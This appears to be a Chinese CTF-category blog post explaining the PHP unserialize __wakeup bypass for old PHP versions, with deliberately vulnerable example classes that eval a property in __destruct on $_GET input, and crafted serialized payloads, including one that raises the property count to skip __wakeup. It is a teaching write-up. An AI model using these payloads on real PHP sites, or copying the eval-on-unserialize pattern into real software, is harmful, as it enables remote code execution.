一、漏洞原理

__wakeup触发于unserilize()调用之前,但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得__wakeup失效。

二、漏洞影响版本
PHP5 < 5.6.25
PHP7 < 7.0.10

三、实战

eg1:

<?php
class test
{
    var $RH = "RHacker";
    function __destruct()
    {
        eval($this->RH);
    }
}

$cmd = $_GET[cmd];
unserialize($cmd);
?>


以上代码要想序列化成功肯定是直接构造
O:4:"test":1:{s:2:"RH";s:7:"RHacker";}


这里解释一下这个序列化对象的意思:

O: 代表object,还有一种情况是A,代表数组
4: 代表对象名字占4个字符,对象也就是test
1: 代表只有1个变量
s:2 表示是字符串格式且占用2个字节

也会有一些小白说上面序列化对象怎么生成,贴代码
<?php
class test
{
    var $RH = "RHacker";

    function __destruct()
    {
        eval($this->RH);
    }
}

$R = new test();

echo serialize($R);


这个时候我们把生成的序列化对象进行更改:
O:4:"test":1:{s:2:"RH";s:10:"phpinfo();";}

可以看到直接序列化成功。

 

eg2:

<?php
class test
{
    var $RH = "RHacker";

    function __destruct()
    {
        eval($this->RH);
    }
    function __wakeup(){
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
    }
}
$cmd = $_GET[cmd];
unserialize($cmd);


可以看到加了个__wakeup方法,所以这个时候如果直接进行序列化是肯定不可以的
__wakeup() 类似一个预处理的作用,在执行unserialize()时会检测是否存在wakeup,存在则先执行 __wakeup()
虽然如此,但我们依然可以绕过它,在绕过__wakeup()只需要将参数的个数改成超过现有的参数个数即可

所以改为:O:4:"test":2:{s:2:"RH";s:10:"phpinfo();";}
这里因为只有一个变量,所以只要大于1的个数都可以
分类: CTF

发表评论

电子邮件地址不会被公开。


CAPTCHA Image
Reload Image
皖ICP备18016857号-1